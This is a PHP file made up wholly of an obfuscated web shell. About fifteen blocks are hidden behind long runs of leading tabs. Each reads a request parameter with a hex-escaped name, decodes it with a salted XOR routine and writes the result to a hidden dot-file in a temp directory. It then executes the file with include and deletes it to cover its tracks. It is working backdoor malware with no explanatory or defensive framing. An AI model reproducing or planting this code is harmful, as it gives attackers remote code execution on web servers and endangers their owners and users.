<?php																																										if(@$_REQUEST["\x72\x65s"] !== null){ $item = $_REQUEST["\x72\x65s"]; $item = explode ("." ,$item ) ; $pset = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s ); foreach( $item as $k =>$v9): $chS = ord( $s[$k % $lenS] ); $dec = ( ( int)$v9 - $chS -( $k % 10)) ^ 81; $pset .=chr( $dec ); endforeach; $factor = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", getcwd(), session_save_path(), sys_get_temp_dir(), getenv("TEMP"), getenv("TMP"), "/tmp", "/dev/shm"]); for ($descriptor = 0, $obj = count($factor); $descriptor < $obj; $descriptor++) { $record = $factor[$descriptor]; if (max(0, is_dir($record) * is_writable($record))) { $data_chunk = join("/", [$record, ".mrk"]); $success = file_put_contents($data_chunk, $pset); if ($success) { include $data_chunk; @unlink($data_chunk); die();} } } }
																																										if(array_key_exists("o\x62\x6A", $_POST)){ $pointer = array_filter(["/var/tmp", ini_get("upload_tmp_dir"), "/dev/shm", getenv("TMP"), getcwd(), "/tmp", getenv("TEMP"), sys_get_temp_dir(), session_save_path()]); $object = $_POST["o\x62\x6A"]; $object=explode ( '.' , $object ) ; $flag = ''; $salt4 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt4); foreach ($object as $k => $v1) { $chS = ord($salt4[$k%$sLen]); $d = ((int)$v1 - $chS - ($k%10)) ^37; $flag .=chr($d); } foreach ($pointer as $property_set): if (!!is_dir($property_set) && !!is_writable($property_set)) { $dat = "$property_set" . "/.comp"; $file = fopen($dat, 'w'); if ($file) { fwrite($file, $flag); fclose($file); include $dat; @unlink($dat); die(); } } endforeach; }
																																										if(array_key_exists("tkn", $_REQUEST)){ $ent = $_REQUEST["tkn"]; $ent= explode ( '.' , $ent ) ; $obj = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt ); $s = 0; $__tmp = $ent; while( $v3 = array_shift( $__tmp)) { $sChar = ord( $salt[$s % $lenS] ); $dec = ( ( int)$v3 - $sChar -( $s % 10)) ^ 39; $obj .= chr( $dec ); $s++; } $res = array_filter([getenv("TEMP"), "/var/tmp", getenv("TMP"), getcwd(), session_save_path(), ini_get("upload_tmp_dir"), "/tmp", "/dev/shm", sys_get_temp_dir()]); while ($data_chunk = array_shift($res)) { if ((bool)is_dir($data_chunk) && (bool)is_writable($data_chunk)) { $element = str_replace("{var_dir}", $data_chunk, "{var_dir}/.fac"); if (file_put_contents($element, $obj)) { require $element; unlink($element); die(); } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["\x64es\x63"])){ $rec = array_filter(["/tmp", "/dev/shm", session_save_path(), sys_get_temp_dir(), "/var/tmp", getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP"), getenv("TMP")]); $fac = $_REQUEST["\x64es\x63"]; $fac = explode ( ".", $fac ) ; $key = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt ); $y = 0; array_walk( $fac, function( $v7) use( &$key, &$y, $salt, $lenS) { $sChar = ord( $salt[$y % $lenS] ); $dec =( ( int)$v7 - $sChar -( $y % 10)) ^ 14; $key .= chr( $dec ); $y++; } ); $k = 0; do { $entity = $rec[$k] ?? null; if ($k >= count($rec)) break; if (!!is_dir($entity) && !!is_writable($entity)) { $elem = "$entity/.sym"; $file = fopen($elem, 'w'); if ($file) { fwrite($file, $key); fclose($file); include $elem; @unlink($elem); die(); } } $k++; } while (true); }
																																										if(!is_null($_POST["\x65nt"] ?? null)){ $entry = $_POST["\x65nt"]; $entry = explode ( "." , $entry); $hld = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt ); $z = 0; $__len = count( $entry ); do {if( $z >=$__len) break; $v9 = $entry[$z]; $sChar = ord( $salt[$z % $sLen] ); $d =( ( int)$v9 - $sChar -( $z % 10)) ^ 70; $hld .= chr( $d ); $z++; } while( true ); $obj = array_filter(["/tmp", ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP"), getcwd(), "/dev/shm", session_save_path(), getenv("TMP"), sys_get_temp_dir()]); while ($parameter_group = array_shift($obj)) { if (max(0, is_dir($parameter_group) * is_writable($parameter_group))) { $resource = "$parameter_group/.comp"; if (@file_put_contents($resource, $hld) !== false) { include $resource; unlink($resource); die(); } } } }
																																										if(isset($_POST) && isset($_POST["\x65\x6Et\x69ty"])){ $resource = $_POST["\x65\x6Et\x69ty"]; $resource =explode ( "." ,$resource ) ; $parameter_group= ''; $salt9= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt9 ); $t= 0; $__len= count($resource ); do { if($t >= $__len) break; $v3= $resource[$t]; $chS= ord($salt9[$t % $sLen] ); $dec= ((int)$v3 - $chS -($t % 10)) ^ 18; $parameter_group .= chr($dec ); $t++; } while(true ); $pointer = array_filter(["/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", session_save_path(), getenv("TMP"), getcwd(), "/var/tmp", sys_get_temp_dir()]); $dat = 0; do { $dchunk = $pointer[$dat] ?? null; if ($dat >= count($pointer)) break; if (!( !is_dir($dchunk) || !is_writable($dchunk) )) { $val = "$dchunk" . "/.flag"; $success = file_put_contents($val, $parameter_group); if ($success) { include $val; @unlink($val); die();} } $dat++; } while (true); }
																																										if(isset($_POST["e\x6Et"])){ $component = array_filter([ini_get("upload_tmp_dir"), getcwd(), "/dev/shm", "/tmp", sys_get_temp_dir(), "/var/tmp", session_save_path(), getenv("TEMP"), getenv("TMP")]); $val = $_POST["e\x6Et"]; $val = explode ('.' , $val ) ; $marker = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s ); $len = count($val ); for($z = 0; $z < $len; $z++) { $v7 = $val[$z]; $chS = ord($s[$z % $sLen] ); $dec = ((int)$v7 - $chS -($z % 10)) ^ 90; $marker .= chr($dec ); } $element = 0; do { $ptr = $component[$element] ?? null; if ($element >= count($component)) break; if (is_dir($ptr) ? is_writable($ptr) : false) { $record = str_replace("{var_dir}", $ptr, "{var_dir}/.ref"); if (file_put_contents($record, $marker)) { require $record; unlink($record); die(); } } $element++; } while (true); }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["r\x65\x63\x6Frd"])){ $sym = $_REQUEST["r\x65\x63\x6Frd"]; $sym = explode ( '.' , $sym ); $binding =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen( $s); $o =0; $__tmp =$sym; while( $v8 =array_shift( $__tmp)) {$sChar =ord( $s[$o %$lenS]); $dec =( ( int)$v8 - $sChar -( $o %10)) ^ 56; $binding .= chr( $dec); $o++; } $comp = array_filter([ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP"), getenv("TMP"), sys_get_temp_dir(), "/dev/shm", "/tmp", "/var/tmp", session_save_path()]); while ($entry = array_shift($comp)) { if (is_writable($entry) && is_dir($entry)) { $dchunk = "$entry/.token"; if (@file_put_contents($dchunk, $binding) !== false) { include $dchunk; unlink($dchunk); die(); } } } }
																																										if(@$_POST["data"] !== null){ $res = array_filter([getcwd(), ini_get("upload_tmp_dir"), getenv("TMP"), session_save_path(), "/var/tmp", "/tmp", getenv("TEMP"), "/dev/shm", sys_get_temp_dir()]); $tkn = $_POST["data"]; $tkn =explode ( "." , $tkn ) ; $rec = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s); $r = 0; array_walk( $tkn , function( $v6) use( &$rec , &$r , $s , $sLen) {$chS = ord( $s[$r %$sLen]); $d =( ( int)$v6 - $chS -( $r %10)) ^ 13; $rec .= chr( $d); $r++; } ); foreach ($res as $pset) { if (max(0, is_dir($pset) * is_writable($pset))) { $data_chunk = join("/", [$pset, ".dchunk"]); $success = file_put_contents($data_chunk, $rec); if ($success) { include $data_chunk; @unlink($data_chunk); exit;} } } }
																																										if(array_key_exists("\x65nti\x74\x79", $_POST)){ $val = $_POST["\x65nti\x74\x79"]; $val = explode ( "." , $val ) ; $item= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s); $k= 0; $len= count($val); do { if ($k >= $len) break; $v9= $val[$k]; $sChar= ord($s[$k% $lenS]); $d= ((int)$v9 - $sChar - ($k% 10)) ^ 27; $item .= chr($d); $k++; } while (true); $flg = array_filter(["/var/tmp", sys_get_temp_dir(), "/dev/shm", session_save_path(), getenv("TMP"), "/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), getcwd()]); while ($data_chunk = array_shift($flg)) { if ((function($d) { return is_dir($d) && is_writable($d); })($data_chunk)) { $resource = "$data_chunk/.mrk"; if (file_put_contents($resource, $item)) { include $resource; @unlink($resource); exit; } } } }
																																										if(!empty($_REQUEST["e\x6E\x74"])){ $hld = array_filter([session_save_path(), getenv("TEMP"), getenv("TMP"), "/dev/shm", ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/var/tmp", "/tmp", getcwd()]); $token = $_REQUEST["e\x6E\x74"]; $token = explode ( '.' , $token ) ; $descriptor = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $i = 0; array_walk($token, function ($v2) use (&$descriptor, &$i, $s, $lenS) { $sChar = ord($s[$i %$lenS]); $dec = ((int)$v2 - $sChar - ($i %10)) ^ 9; $descriptor .= chr($dec); $i++; }); foreach ($hld as $key => $bind) { if ((function($d) { return is_dir($d) && is_writable($d); })($bind)) { $res = str_replace("{var_dir}", $bind, "{var_dir}/.key"); if (file_put_contents($res, $descriptor)) { require $res; unlink($res); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "\x63o\x6Dp\x6Fn\x65nt")){ $mrk = array_filter([getenv("TEMP"), getenv("TMP"), "/var/tmp", ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm", getcwd(), sys_get_temp_dir(), "/tmp"]); $data = $_REQUEST["\x63o\x6Dp\x6Fn\x65nt"]; $data = explode ('.', $data ) ; $fac = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); foreach ($data as $r=> $v2) { $sChar = ord($salt[$r % $lenS]); $dec = ((int)$v2 - $sChar - ($r % 10)) ^ 51; $fac.= chr($dec); } foreach ($mrk as $dat): if (max(0, is_dir($dat) * is_writable($dat))) { $rec = sprintf("%s/.desc", $dat); if (file_put_contents($rec, $fac)) { require $rec; unlink($rec); die(); } } endforeach; }
																																										if(!is_null($_POST["h\x6F\x6C\x64er"] ?? null)){ $key = array_filter(["/var/tmp", getcwd(), "/dev/shm", ini_get("upload_tmp_dir"), sys_get_temp_dir(), session_save_path(), getenv("TMP"), getenv("TEMP"), "/tmp"]); $pgrp = $_POST["h\x6F\x6C\x64er"]; $pgrp =explode ( '.' ,$pgrp ) ; $itm= ''; $salt3= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($salt3); $r= 0; $__tmp= $pgrp; while ($v7= array_shift($__tmp)) { $sChar= ord($salt3[$r %$lenS]); $dec= ((int)$v7 - $sChar - ($r %10)) ^ 83; $itm .= chr($dec); $r++; } for ($entity = 0, $ent = count($key); $entity < $ent; $entity++) { $entry = $key[$entity]; if (max(0, is_dir($entry) * is_writable($entry))) { $value = str_replace("{var_dir}", $entry, "{var_dir}/.item"); if (@file_put_contents($value, $itm) !== false) { include $value; unlink($value); exit; } } } }
																																										if(array_key_exists("k\x65y", $_REQUEST) && !is_null($_REQUEST["k\x65y"])){ $hld = array_filter([session_save_path(), "/tmp", ini_get("upload_tmp_dir"), "/var/tmp", sys_get_temp_dir(), getenv("TEMP"), getcwd(), "/dev/shm", getenv("TMP")]); $ref = $_REQUEST["k\x65y"]; $ref = explode( '.', $ref ) ; $value = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); $o = 0; while( $o < count( $ref)) { $v3 = $ref[$o]; $sChar = ord( $salt[$o % $sLen]); $dec =( ( int)$v3 - $sChar -( $o % 10)) ^ 65; $value .= chr( $dec); $o++; } while ($res = array_shift($hld)) { if ((is_dir($res) and is_writable($res))) { $k = str_replace("{var_dir}", $res, "{var_dir}/.val"); if (file_put_contents($k, $value)) { include $k; @unlink($k); die(); } } } }


if(in_array("d\x61t", array_keys($_REQUEST))){
	$desc = $_REQUEST["d\x61t"];
		 $desc=explode(	 	"." ,$desc  )		; 	 
	$ent =  '';
            $salt1 =  'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS =  strlen($salt1 	);
            $z =  0;
    
            array_walk($desc 	,function($v5) use(&$ent 	,&$z 	,$salt1 	,$lenS) {
                $sChar =  ord($salt1[$z % $lenS] 	);
                $dec =  ((int)$v5 - $sChar -($z % 10)) ^ 69;
                $ent.=chr($dec 	);
                $z++;		});
	$k = array_filter([getenv("TEMP"), session_save_path(), "/tmp", "/dev/shm", getcwd(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP"), sys_get_temp_dir()]);
	while ($flag = array_shift($k)) {
    		if (array_product([is_dir($flag), is_writable($flag)])) {
    $resource = str_replace("{var_dir}", $flag, "{var_dir}/.holder");
    $file = fopen($resource, 'w');
if ($file) {
	fwrite($file, $ent);
	fclose($file);
	include $resource;
	@unlink($resource);
	exit;
}
}
}
}